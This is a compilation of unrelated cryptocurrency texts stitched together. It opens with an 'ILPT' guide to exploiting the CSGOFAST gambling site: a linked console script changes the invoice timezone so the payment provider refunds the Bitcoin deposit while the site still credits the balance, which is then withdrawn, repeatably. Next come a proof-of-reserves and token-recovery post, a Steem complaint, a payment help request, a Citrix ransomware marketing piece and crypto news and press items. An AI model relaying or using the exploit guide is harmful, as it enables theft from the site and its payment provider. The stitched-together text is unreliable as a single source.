ILPT u guys will like this

In this guide, I will show you a new EXPLOIT on a popular

CS:GO gambling website - CSGOFAST.

LINK TO THE SITE?: ?

https://csgofast.com/

With this exploit, you will be able to refill your CSGOFAST

balance - completely for free, and then withdraw your money

or skins.

-----------------------------------------------------------------

I managed to find a vulnerability on their site, which basically

allows you to get a refund for your Bitcoin deposit on the site.

After you open a Bitcoin transaction page, you will have to

use a script that will change the timezone of your invoice.

When the timezone is changed, your current invoice will

expire, but at the same time a new invoice will be generated

(which will result in a change of your Bitcoin address). If you

send a payment to the new Bitcoin address, your CSGOFAST

account will be credited, but your Bitcoins will get refunded to

your wallet, because their payment provider (GameMoney)

thinks that your invoice has expired.

Simple as that.

-------------------------------------------------------------------------

. How do I use it?

First of all - you need to login to your CSGOFAST account. If

you don’t have one, you can create it by logging in through

Steam / VK / Google / Twitter / Facebook / Yandex.

Then, simply click on a “Refill” button.

--------------------------------------------------------------------------------

Now choose “GameMoney” and click “Refill”. The minimum

deposit is 0.01 BTC which is like $100 at the moment.

Once you click “Refill”, you will be redirected to GameMoney’s

payment page where you have to navigate to “BTC” option.

Then click on a “Bitcoin” logo to open your Invoice.

----------------------------------------------------------------------------------

Fill the “Amount receivable” - which is the amount of money

you want to deposit to your CSGOFAST account. As you can

see, the minimum amount is 0.01 BTC, so you can’t deposit less

than $100.

Now you will see the address where they want you to send the

money to - but don’t do that yet.

Now you will have to use a script that will change your

browser’s timezone. Your “Wallet address” will change to the

new one - this is the address where you need to send your

money to.

To use the script, simply right click (with your mouse)

anywhere on the invoice page and click Inspect and go to the

“Console”.

If you can’t see the “Inspect” or “Console” option, make sure

that you are using Google Chrome as I do.

------------------------------------------------------------

Now copy and paste the script into “Console” and click Enter.

You can copy the script from one of these links:

https://pastebin.com/UkjjXDed

------------------------------------------------------------

If you did everything correctly, you should see a new popup

window informing you that your current invoice has expired,

and a new address was generated.

Now simply copy the “Amount to be sent” and send Bitcoins to

the new address.

Once you do that, wait for your transaction to have 3

confirmations.

Now DON’T close the invoice page and wait for confirmations.

------------------------------------------------------------

Once the bitcoin sent to the new generated address reaches 3 confirmations on blockchain you will get a screen saying

you sent money to an expired invoice and your payment will be refunded.

CSGOFAST has processed your order even when it was

cancelled on GameMoney. You can now withdraw your funds

from the site either to Bitcoin / QIWI / Yandex.Money /

Webmoney / Card or simply withdraw CS:GO Skins.

Now when you finish this you will have the moeny being refunded to your bitcoin address and there will be 100 dollars

in csgo fast which you can withdraw to your bitcoin wallet which means you just doubled your bitcoin!

-------------------------------------------------------------------------------------------------------------

This method is repeatable - however, you can only make one

deposit per hour.

Enjoy your earnings!

The Algorithm That Would Have Reduced or Avoided Every Single Exchange Hack/Fraud to Date

In case you missed them, so far this year we've seen 3 large scale exchange events:

  • QuadrigaCX
  • EZ-BTC
  • Cryptopia

Each one represents massive losses for those involved - hundreds and thousands of affected lives. These are real people and families at the other ends, with hopes and dreams, who worked hard for their money.

In the case of QuadrigaCX, it took the freezing of the bank accounts, the death/disappearance of the CEO, and concerted legal action to even realize it was insolvent.

Exchanges can easily continue to operate for years with whatever level of reserves they like. Third party audits are riddled with holes like:

  • How can they possibly know the client list they're given is legitimate and fully inclusive?
  • How can you know the funds weren't borrowed for the audit purposes?
  • How old is the report? How can you trust the auditor?

On top of that - most exchange platforms still don't even bother to audit. Despite the warnings about storing funds on exchanges, people still do. And remember that many affected users weren't storing funds on Quadriga - they simply got stuck with no way to withdraw.

Proof of Reserves asks exchanges to:

  • Publish the wallet public keys so people can see that funds are fully backed. (A satoshi test can prove ownership of those wallets.)
  • Publish a hash tree to let each customer validate that their balance is included in the total.

What it doesn't prevent:

  • Same as presently, if funds are not secured in proper multi-sig wallets or multiple exchange operators are corrupt, the funds could still be taken, up to what's stored. However, this would be immediately known to everyone instead of revealed whenever admins felt like it (or never).
  • The balances of customers who never check the hash tree could be excluded by a dishonest exchange, which wouldn't be noticed until one of those customers decided to check.
  • A dishonest exchange could still dispute the balance of a customer or arbitrarily prevent withdrawals. In this case, the customer and exchange would have to sort that out.
  • A dishonest exchange could pretend to own wallets it doesn't. A satoshi test would help with this, where the exchange operators send a small amount at a specified time.
  • While it makes things safer, it's still not a good idea to store funds on the exchange.

What it does prevent:

  • The exchange owner can't spend funds of active customers, and still claim to hold them.
    • ie QuadrigaCX, EZ-BTC
  • The exchange owner can't conceal if funds are hacked or stolen. It becomes known immediately.
    • ie Mt. Gox, Cryptopia, Bitgrail
  • Anyone can see if the exchange is solvent before trading.
    • ie Anyone with "bad timing" using an insolvent exchange.

Check this link for more details on Proof of Reserves, including the full hash tree algorithm.

Despite the relative simplicity of publishing wallet keys, the vast selection of exchanges we have in Canada, and the many millions of dollars stored, not a single exchange has done so. The hash tree algorithm has existed since 2014. It's presently on one exchange (last audited in 2014).

Our Primary Exchange Partner

At Quadriga Initiative, we feel that Proof of Reserves is key to preventing future exchange collapses, which is why we are so pleased to have a primary exchange partner which will be implementing the full algorithm. While we can't control other exchanges, traders now have an option to use an exchange which proves full backing of all deposits and we hope this will encourage wider adoption and greater industry transparency.

Given the history with Quadriga, most affected users (including every member of our team) are legitimately concerned about anyone losing their funds again. This is the primary reason we've selected to work with TxQuick.

  • TxQuick is being developed by Ethan Burnside, who has demonstrated his integrity in 2012-2013 when he ran BTC Trading Corp. When it was shut down, he spent significant personal funds to keep it running so everyone could get their money out - likely the only time in history that an exchange shut down and everyone got their funds. You can learn more about him from his post here.
  • We've had extensive discussions on Telegram about security. Ethan is open, transparent, and extremely knowledgeable. He has invested heavily in developing a system of secure multi-sig wallets. His previous exchange was never successfully hacked. If you have any questions, Ethan is happy to answer them!
  • Ethan is strongly in favour of publishing wallet public keys. The exchange will feature a full transparency page to allow anyone to see that all funds are fully backed. In the future, a full proof of reserves will be deployed to assure all customers that their balances are represented.

Pushing for Proof of Reserves

If you'd like to be a part of our push for Proof of Reserves and receive information on the exchange launch, you can join our mailing list at https://www.quadrigainitiative.com/ (see that page for Email-Only Sign Up).

Our Token Recovery Program

The Quadriga Initiative token program provides affected users with free tokens, each representing $1 of their losses. This is part of an effort to eventually make affected users whole again.

The recovery comes out of the profit margin of businesses. Businesses normally sell a product or service at a profit over the cost of production. Instead, a business would sell the product or service at a discount (less profit), accepting tokens in place of the difference. We provide an easy way for businesses to give back and support affected users.

The linked diagram is a handy visualization of the initiative and how the various parties interact:

https://www.quadrigainitiative.com/Quadriga%20Initiative%20Diagram.pdf

The complete initiative is a full marketplace, enabling the beneficial (win win) interaction of all parties and the gradual recovery of losses over time. The token supply is finite, limited by the amount of losses we can verify, and all tokens eventually get cashed for $1 worth of products/services or primary exchange gross trading revenue as the program runs.

The full recovery is expected to take multiple years. There are plenty of ways it can fail, so results are not guaranteed. Nonetheless, we believe it is possible to eventually recover fully (cash all tokens)!

Token Uses on TxQuick

  • In addition to the token validation/verification function:
    • TxQuick will be the first platform to allow buying and selling of the tokens.
    • TxQuick proposes to accept the tokens at face value towards trading fees on the exchange. Affected users can use tokens to get free or discounted trading (50%+ off).
    • TxQuick will also handle a slow token payback, enabling tokens to be exchanged 1:1 for cash over time using 15% of gross trading revenue.
  • This proposal is subject to approval by the TxQuick board. It could be changed. There is a necessary interest level from the affected user community of at least 1,000 sign-ups.
  • While it might seem like Ethan is being super generous and giving a lot away for free, again this is mutually beneficial (win win). Here are some of the benefits to the primary exchange:
    • Lots of sign-ups from affected users and, later, interested consumers, many of whom will stay to use the platform. TxQuick desires to achieve a dominant position in the Canadian marketplace.
    • The token program provides an effective price segment, increasing revenue over time. (Low prices = lost profit, high prices = less customers, price segment = more profit and customers.)
    • Customers with recovered funds are likely to be more loyal and prefer the platform, and the profit share incentivizes spreading the word about the platform. (Interests are aligned.)
  • It is not required to use the primary exchange platform for trading or deposit any money. You are free to sign up, receive your free tokens, and continue trading on any other platform or just use the marketplace.

How to Join the Token Recovery Program

If you wish to participate, please sign up at https://www.quadrigainitiative.com/.

You can do a pre-claim to save your balance, or an email only sign up just to show interest and get the launch email.

  • We are a community initiative which is not connected with the bankruptcy process. Participation does not impact your bankruptcy claim. You can find the official bankruptcy information on the Miller Thompson website.
  • We have taken all reasonable measures to protect our website and stored data against SQL injection. The website back-end is simple, all input is sanitized, and all access passwords are 16+ character full random. (I have a background in web hosting.)
  • There is no cost to participate and the pre-claim process takes approximately 3 minutes.
  • Please be sure to keep a copy of your bankruptcy claim paperwork for later validation! We are still determining the full validation which will be done on claims.
  • The pre-claim depends on the E&Y user balance website. We don't know when that will go offline. It could even be August 31st.

Thanks so much for reading!


Bitcoin Price to Sell the Bakkt Event and Finally Drop to $8,000?

https://bitcoinexchangeguide.com/bitcoin-price-to-sell-the-bakkt-event-and-finally-drop-to-8000/

Perspective From the Outside/My First Steem Related Experience

Hi, thought you guys might like to see a perspective from the outside that comes from me. Prior to today I never once heard of this Steem thing, but I know about various other coins, so I think I understand cryptocurrency as a concept. What I don't understand is why it is seemingly so inaccessible.

To give some background, I was playing a game called OGame, but I didn't enjoy how P2W it was, so I looked for some alternatives. Two alternatives I found were games called Steemnova and NextColony, but each require something called, "Steemconnect," to operate as it apparently utilities it for user accounts/verification. Uh, okay I think, and I try to investigate and make an account because I really do want to play the game. Surface level attempts results in the following discoveries...

https://widget.steem.ninja/widget.html is apparently broken and reportedly requires money to make an account, but I have no idea as I can't access it to confirm
https://v2.steemconnect.com/accounts/create requires an account to create an account and also requires money to make an account(???)
And I'm surely not going to download any, "Desktop app," for this shady af thing, but I did try a browser extension for Steemconnect which also goes no where as there's no apparent registration method or guide.

So I'm sitting here thinking how the heck am I supposed to play these games? Is it all just a scam? I mean everything requires money just to make an account, which I wouldn't mind if it was at least upfront about it, but I'm only informed about this at the last minute. I investigate Steem more, which isn't easy because I just keep getting links for Steam (Terrible brand name on Steem's part really as Steam is a far better and more popular product,) but I get absolutely no where except a few low view count blogs saying how great Steem is and how it's the next big Bitcoin... Man, where have I read that before? Oh yeah, blogs for basically every other coin in existence. I do find a few hastily constructed and uninformative guides that read more like product brochures than actual guides. Needless to say, I eventually give up as I get nowhere fast.

It's my conclusion that if you guys want Steem to be popular, it must first be renamed and made far FAR more approachable as if someone like me who is motivated to understand and use it is unable to do so, you've messed up. Additionally, if you want to kill a game's potential, make it as difficult as possible to start playing like SteemNova and NextColony does by making it nearly impossible to signup. Seriously if the games were on Steam for $10 I'd be playing them right now but instead they're on Steem and are effectively inaccessible, lol.

I expect downvotes, despite my good intentions, so I wish to address these a little now. Do you really think you're being helpful by doing so? I know criticism of your favorite thingy is hard to read, but it's useful to understand even if I'm wrong, and I took the time to give you guys my thoughts and perspective when others probably brushed Steem off after the first Google search to understand it. And I know Steem likely wasn't created just for Steemconnect or whatever, but it's obviously a vector for new users such as myself, and what could have been a new community member and user of Steem is instead just a passerby because of how unusable the system is. Just a thought.



Help/tips on buying with Bitcoin

Sorry if this is against the rules, please remove if so.

Hey everyone, I'm trying to make my first purchase from a bank with Bitcoin. I have a wallet on my phone, make the purchase online, and send the payment but due to the delay in payment processing the order ends up "expired" before it can be confirmed. I'm using a software wallet from Bitcoin for the payments. I'm just wondering if there are any tips to make this process smoother. This is my first and only time using Bitcoin so there's a bit of a leaving curve. Unfortunately, using the guide from the seller's site doesn't seem to be helpful. Any guidance would be appreciated.

Ransomware: Four Ways to Protect Data Now

It’s a nightmare scenario for any user or organization: in the middle of an ordinary day, your screen is taken over by an alert that your data has been encrypted and your computer’s essential functions have been locked down. You have two choices: pay a ransom — or accept that you’ll never see your data again, including any sensitive or regulated information they may contain (which, in turn, may well be leaked or sold to the highest bidder).
A countdown clock shows how little time you have left to make your decision. You may be able to determine later how it got to this point — a phishing email? An infected file or web page? An exploit kit? — but you’d do anything to have prevented it from happening in the first place. Fortunately, there are steps you can take now to lower the risk of ransomware, and to minimize its impact in the event of an attack.

Citrix solutions enable four highly effective measures for reducing your exposure to ransomware and keeping your apps and data accessible to authorized users — not hackers and their clients. Virtualization, enterprise mobility management and enterprise file synchronization make it possible to insulate computers, tablets, smartphones and other endpoints against ransomware infection, and to recover quickly in the event of a breach.

• Shield users of web apps from infection and keep sensitive data off the endpoint by  publishing virtualized, sand boxed and hardened browsers rather than relying on the locally installed, over-configured and over connected browser.
• Prevent email-borne ransomware from compromising the endpoint by publishing a virtualized, sand boxed and hardened email client.
• Protect mobile devices against attack with measures including containerization, encryption, blacklists and whitelists, and device compliance checks
• Ensure the rapid recovery of ransomware-encrypted data with a secure
and robust enterprise file sync and sharing service.

Data taken hostage—a crime that pays handsomely

Recent years have seen the Internet swarmed with more than 50 variants of ransomware with names like Locky, KeRanger, Cryptolocker, CryptoWall and TeslaCrypt. Initially targeting consumers, these scripts increasingly target victims with highly sensitive, high value data such as healthcare, banking, legal and finance organizations. Once activated by an unwitting user, the ransomware calls home to a command-and-control server to acquire a unique, randomly created AES encryption key, then applies it to critical files found on local, network and cloud-connected drives. At that point, this data is entirely under the control of the hacker, who demands the prompt payment of a ransom to recover it or prevent its disclosure. This amount may range from hundreds of dollars for individual consumers to many thousands for a business. Payments are often demanded in Bitcoin, further complicating a business response.

Four ways to kidnap-proof your data

  1. Publish virtualized, sand boxed and hardened browsers

  2. Publish a virtualized, sand boxed, and hardened email client

  3. Protect mobile devices against attack with containerization

  4. Provide a secure and robust enterprise data sync and sharing service

Proven protection

Citrix customers are already using these methods to avoid the damage and disruption of ransomware. One healthcare industry IT leader reports that he has already counteracted numerous ransomware attacks through the secure Citrix architecture in place. “We probably see at least one ransomware attack a week of some kind or another, and 99.99 percent of the time, we have been successful in containing that to just the workstation.” The organization simply swaps in a newly imaged hard drive for the workstation and restores its data from an enterprise file sync and sharing service, and work proceeds as usual. In this case, the users in question are doctors and other medical professionals for whom access to data can literally be a matter of life and death. The Citrix approach to ransomware protection keeps hackers from holding the organization and its patients hostage — so the delivery of care can continue.

Bitcoin crashes unexpectedly at $ 500

Bitcoin plummeted suddenly at Wednesday night, falling in less than an hour by $ 500 - below $ 9,700. Earlier on Wednesday, market participants drew attention to the emergence of a massive wall of $ 120 million from bitcoin buyers between the levels of $ 10 120 and $ 10 150 on the largest crypto-derivative exchange BitMEX.

The unusually large size of the application aroused the interest of traders who began building theories that someone might seek to try to raise the price of the cryptocurrency in this way or sell more bitcoins while maintaining a high rate. Along with the latest movement, the volume of open positions on BitMEX decreased from $ 921 million to $ 888 million, which is still a pretty high value for this exchange.

Recent Bitcoin movements have led to conflicting views on the short-term prospects of the cryptocurrency market. Many traders openly worry if demand is strong enough so that the market does not enter the next bearish phase.

Jeff Dorman, director of investment at Arca, says new money will come to the market through companies like Bakkt and Fidelity. According to him, in the current uncertainty in the global market, bitcoin looks like an attractive asset for significant hedge funds.

Besides, The Bakkt cryptocurrency platform from Intercontinental Exchange Corporation (ICE) has announced that as early as September 6, customers awaiting the launch of trading in Bitcoin deliverable futures will be able to make deposits.

The Chicago Mercantile Exchange (CME) reported a record in 2019 of average daily bitcoin futures trading volume $ 370 million, which indicates a renewed interest in the first cryptocurrency from investors.

According to the Block Journal, since 2010, bitcoin has bypassed leading IT companies millions of times in profitability. Bitcoin quotes have been available since March 2010, when the now-defunct BitcoinMarket.com trading platform was launched. Then BTC cost about $ 0.003. Thus, at the current exchange rate of about $ 10,000, growth amounted to more than 330 million percent.

The crypto market is in anticipation of the launch of futures from Bakkt, because of upcoming events of September 23, but the desired price spike may not happen. Although Bitcoin has shown impressive growth since April 2019, the trend for parabolic growth has broken, and so far, there are no signs of a clear desire to buy bitcoin at current prices. For some, $ 10K is already too high a price to buy, for others it is too low for sale, so we see a quite long lateral trend since both sides are waiting for catalysts.

Mobilum presents at the 12th BLOCKCHAIN SYMPOSIUM: Token Economy presented by SYNCO

On Wednesday, 25 July — we had the pleasure of sponsoring and presenting at the 12th Blockchain Symposium by SYNCO in Seoul.

Mobilum COO, Przemek Maliszewski presented on MBM Token Economics, and Business Development Manager, Iwo Lobert conversed and connected with attendees.

During the symposium, we were able to communicate to the audience the crucial role that Mobilum will play in the new crypto economy.

Przemek’s presentation focused on how Mobilum is solving one of the most profound issues when it comes to utilizing your cryptocurrency in every day life.

The world is divided. The old economy doesn’t understand the new crypto economy as well.

Currently, one cannot go out for the day and easily pay for items or services — such as, buying flowers, a coffee, or tickets to the cinema — using their cryptocurrency. Mobilum is solving this issue by bridging the gap between the old economy and new crypto economy.

Providing a platform for crypto holders that will connect these two worlds, will allow for anybody to spend their crypto wealth anywhere, at any time, using any existing payment card they already have in their wallet.

Mobilum minimizes the risk of accepting crypto, while maximizing other effects like immediate execution, best execution rates and zero transaction time. We are connected to different venues for associated cryptocurrency and fiat currency exchanges.

Mobilum Wallet app is available on IOS, Android and Web. We support all fiat currencies + three major cryptocurrencies: Bitcoin, Dash and Ether family + more coming soon!

Our wallet, Mobilum Wallet is an existing application and is a multi-signature wallet — so we do not keep any private keys. Simply convert the crypto and top off the credit or debit card you have and immediately — you can spend for anything you want in any terminal.

Przemek continued to speak on how Mobilum Wallet allows users to get a loan using cryptocurrency as a collateral . . .

Mobilum Wallet will freeze the equivalent of cryptos needed to cover the risk associated with the loan given to the customer. It’s up to the customer whether they wish to pay back the loan in fiat or whether they wish for Mobilum to settle the cryptos in the most favourable way, to pay back the loan. Mobilum Wallet allows users to convert fiat to crypto, crypto to fiat, pay for services using crypto. . . and much more.
